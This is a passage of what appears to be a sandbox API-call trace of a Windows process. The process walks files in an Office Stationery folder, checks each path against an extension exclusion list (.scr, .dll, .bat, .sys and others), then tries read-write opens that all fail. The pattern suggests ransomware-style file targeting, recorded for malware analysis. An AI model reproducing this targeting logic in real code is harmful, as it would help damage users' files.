	[0082.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".msp") returned 0x0
	[0082.636] lstrlenW (lpString=".pif") returned 4
	[0082.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch=".pif") returned 0x0
	[0082.636] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa8f8 | out: hHeap=0x300000) returned 1
	[0082.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.636] RtlWakeConditionVariable () returned 0x365f70
	[0082.636] GetCurrentThreadId () returned 0x9cc
	[0082.637] GetCurrentThreadId () returned 0x9cc
	[0082.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa9a0 | out: hHeap=0x300000) returned 1
	[0082.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac3f8 | out: hHeap=0x300000) returned 1
	[0082.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa9a0
	[0082.637] lstrlenW (lpString=".scr") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".scr") returned 0x0
	[0082.637] lstrlenW (lpString=".cmd") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".cmd") returned 0x0
	[0082.637] lstrlenW (lpString=".dll") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".dll") returned 0x0
	[0082.637] lstrlenW (lpString=".bat") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".bat") returned 0x0
	[0082.637] lstrlenW (lpString=".cpl") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".cpl") returned 0x0
	[0082.637] lstrlenW (lpString=".sys") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".sys") returned 0x0
	[0082.637] lstrlenW (lpString=".msc") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".msc") returned 0x0
	[0082.637] lstrlenW (lpString=".com") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".com") returned 0x0
	[0082.637] lstrlenW (lpString=".lnk") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".lnk") returned 0x0
	[0082.637] lstrlenW (lpString=".msp") returned 4
	[0082.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".msp") returned 0x0
	[0082.638] lstrlenW (lpString=".pif") returned 4
	[0082.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch=".pif") returned 0x0
	[0082.638] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa9a0 | out: hHeap=0x300000) returned 1
	[0082.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.638] RtlWakeConditionVariable () returned 0x365f70
	[0082.638] GetCurrentThreadId () returned 0x9cc
	[0082.638] GetCurrentThreadId () returned 0x9cc
	[0082.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa7a8 | out: hHeap=0x300000) returned 1
	[0082.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b25c0 | out: hHeap=0x300000) returned 1
	[0082.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa7a8
	[0082.638] lstrlenW (lpString=".scr") returned 4
	[0082.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".scr") returned 0x0
	[0082.638] lstrlenW (lpString=".cmd") returned 4
	[0082.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".cmd") returned 0x0
	[0082.638] lstrlenW (lpString=".dll") returned 4
	[0082.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".dll") returned 0x0
	[0082.638] lstrlenW (lpString=".bat") returned 4
	[0082.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".bat") returned 0x0
	[0082.639] lstrlenW (lpString=".cpl") returned 4
	[0082.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".cpl") returned 0x0
	[0082.639] lstrlenW (lpString=".sys") returned 4
	[0082.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".sys") returned 0x0
	[0082.639] lstrlenW (lpString=".msc") returned 4
	[0082.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".msc") returned 0x0
	[0082.639] lstrlenW (lpString=".com") returned 4
	[0082.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".com") returned 0x0
	[0082.639] lstrlenW (lpString=".lnk") returned 4
	[0082.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".lnk") returned 0x0
	[0082.639] lstrlenW (lpString=".msp") returned 4
	[0082.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".msp") returned 0x0
	[0082.639] lstrlenW (lpString=".pif") returned 4
	[0082.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch=".pif") returned 0x0
	[0082.639] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa7a8 | out: hHeap=0x300000) returned 1
	[0082.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.639] RtlWakeConditionVariable () returned 0x365f70
	[0082.640] GetCurrentThreadId () returned 0x9cc
	[0082.640] GetCurrentThreadId () returned 0x9cc
	[0082.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0082.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b25f8 | out: hHeap=0x300000) returned 1
	[0082.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0082.640] lstrlenW (lpString=".scr") returned 4
	[0082.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".scr") returned 0x0
	[0082.640] lstrlenW (lpString=".cmd") returned 4
	[0082.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".cmd") returned 0x0
	[0082.640] lstrlenW (lpString=".dll") returned 4
	[0082.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".dll") returned 0x0
	[0082.640] lstrlenW (lpString=".bat") returned 4
	[0082.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".bat") returned 0x0
	[0082.640] lstrlenW (lpString=".cpl") returned 4
	[0082.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".cpl") returned 0x0
	[0082.640] lstrlenW (lpString=".sys") returned 4
	[0082.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".sys") returned 0x0
	[0082.640] lstrlenW (lpString=".msc") returned 4
	[0082.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".msc") returned 0x0
	[0082.640] lstrlenW (lpString=".com") returned 4
	[0082.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".com") returned 0x0
	[0082.640] lstrlenW (lpString=".lnk") returned 4
	[0082.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".lnk") returned 0x0
	[0082.640] lstrlenW (lpString=".msp") returned 4
	[0082.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".msp") returned 0x0
	[0082.641] lstrlenW (lpString=".pif") returned 4
	[0082.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch=".pif") returned 0x0
	[0082.641] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0082.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.642] RtlWakeConditionVariable () returned 0x365f70
	[0082.642] GetCurrentThreadId () returned 0x9cc
	[0082.642] GetCurrentThreadId () returned 0x9cc
	[0082.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0082.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2630 | out: hHeap=0x300000) returned 1
	[0082.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0082.642] lstrlenW (lpString=".scr") returned 4
	[0082.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".scr") returned 0x0
	[0082.642] lstrlenW (lpString=".cmd") returned 4
	[0082.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".cmd") returned 0x0
	[0082.642] lstrlenW (lpString=".dll") returned 4
	[0082.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".dll") returned 0x0
	[0082.642] lstrlenW (lpString=".bat") returned 4
	[0082.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".bat") returned 0x0
	[0082.642] lstrlenW (lpString=".cpl") returned 4
	[0082.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".cpl") returned 0x0
	[0082.643] lstrlenW (lpString=".sys") returned 4
	[0082.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".sys") returned 0x0
	[0082.643] lstrlenW (lpString=".msc") returned 4
	[0082.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".msc") returned 0x0
	[0082.643] lstrlenW (lpString=".com") returned 4
	[0082.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".com") returned 0x0
	[0082.643] lstrlenW (lpString=".lnk") returned 4
	[0082.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".lnk") returned 0x0
	[0082.643] lstrlenW (lpString=".msp") returned 4
	[0082.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".msp") returned 0x0
	[0082.643] lstrlenW (lpString=".pif") returned 4
	[0082.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch=".pif") returned 0x0
	[0082.643] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0082.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.643] RtlWakeConditionVariable () returned 0x365f70
	[0082.643] GetCurrentThreadId () returned 0x9cc
	[0082.643] GetCurrentThreadId () returned 0x9cc
	[0082.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0082.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc708 | out: hHeap=0x300000) returned 1
	[0082.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2668 | out: hHeap=0x300000) returned 1
	[0082.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0082.644] lstrlenW (lpString=".scr") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".scr") returned 0x0
	[0082.644] lstrlenW (lpString=".cmd") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".cmd") returned 0x0
	[0082.644] lstrlenW (lpString=".dll") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".dll") returned 0x0
	[0082.644] lstrlenW (lpString=".bat") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".bat") returned 0x0
	[0082.644] lstrlenW (lpString=".cpl") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".cpl") returned 0x0
	[0082.644] lstrlenW (lpString=".sys") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".sys") returned 0x0
	[0082.644] lstrlenW (lpString=".msc") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".msc") returned 0x0
	[0082.644] lstrlenW (lpString=".com") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".com") returned 0x0
	[0082.644] lstrlenW (lpString=".lnk") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".lnk") returned 0x0
	[0082.644] lstrlenW (lpString=".msp") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".msp") returned 0x0
	[0082.644] lstrlenW (lpString=".pif") returned 4
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch=".pif") returned 0x0
	[0082.644] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc708 | out: hHeap=0x300000) returned 1
	[0082.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc080 | out: hHeap=0x300000) returned 1
	[0082.645] RtlWakeConditionVariable () returned 0x365f70
	[0082.645] GetCurrentThreadId () returned 0x9cc
	[0082.645] GetCurrentThreadId () returned 0x9cc
	[0082.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8170 | out: hHeap=0x300000) returned 1
	[0082.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b26a0 | out: hHeap=0x300000) returned 1
	[0082.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8170
	[0082.646] lstrlenW (lpString=".scr") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".scr") returned 0x0
	[0082.646] lstrlenW (lpString=".cmd") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".cmd") returned 0x0
	[0082.646] lstrlenW (lpString=".dll") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".dll") returned 0x0
	[0082.646] lstrlenW (lpString=".bat") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".bat") returned 0x0
	[0082.646] lstrlenW (lpString=".cpl") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".cpl") returned 0x0
	[0082.646] lstrlenW (lpString=".sys") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".sys") returned 0x0
	[0082.646] lstrlenW (lpString=".msc") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".msc") returned 0x0
	[0082.646] lstrlenW (lpString=".com") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".com") returned 0x0
	[0082.646] lstrlenW (lpString=".lnk") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".lnk") returned 0x0
	[0082.646] lstrlenW (lpString=".msp") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".msp") returned 0x0
	[0082.646] lstrlenW (lpString=".pif") returned 4
	[0082.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch=".pif") returned 0x0
	[0082.647] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8170 | out: hHeap=0x300000) returned 1
	[0082.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.648] RtlWakeConditionVariable () returned 0x365f70
	[0082.648] GetCurrentThreadId () returned 0x9cc
	[0082.648] GetCurrentThreadId () returned 0x9cc
	[0082.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e80c8 | out: hHeap=0x300000) returned 1
	[0082.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b26d8 | out: hHeap=0x300000) returned 1
	[0082.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e80c8
	[0082.648] lstrlenW (lpString=".scr") returned 4
	[0082.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".scr") returned 0x0
	[0082.648] lstrlenW (lpString=".cmd") returned 4
	[0082.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".cmd") returned 0x0
	[0082.648] lstrlenW (lpString=".dll") returned 4
	[0082.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".dll") returned 0x0
	[0082.648] lstrlenW (lpString=".bat") returned 4
	[0082.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".bat") returned 0x0
	[0082.648] lstrlenW (lpString=".cpl") returned 4
	[0082.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".cpl") returned 0x0
	[0082.648] lstrlenW (lpString=".sys") returned 4
	[0082.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".sys") returned 0x0
	[0082.648] lstrlenW (lpString=".msc") returned 4
	[0082.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".msc") returned 0x0
	[0082.648] lstrlenW (lpString=".com") returned 4
	[0082.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".com") returned 0x0
	[0082.649] lstrlenW (lpString=".lnk") returned 4
	[0082.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".lnk") returned 0x0
	[0082.649] lstrlenW (lpString=".msp") returned 4
	[0082.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".msp") returned 0x0
	[0082.649] lstrlenW (lpString=".pif") returned 4
	[0082.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch=".pif") returned 0x0
	[0082.649] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e80c8 | out: hHeap=0x300000) returned 1
	[0082.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.649] RtlWakeConditionVariable () returned 0x365f70
	[0082.649] GetCurrentThreadId () returned 0x9cc
	[0082.649] GetCurrentThreadId () returned 0x9cc
	[0082.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7f78 | out: hHeap=0x300000) returned 1
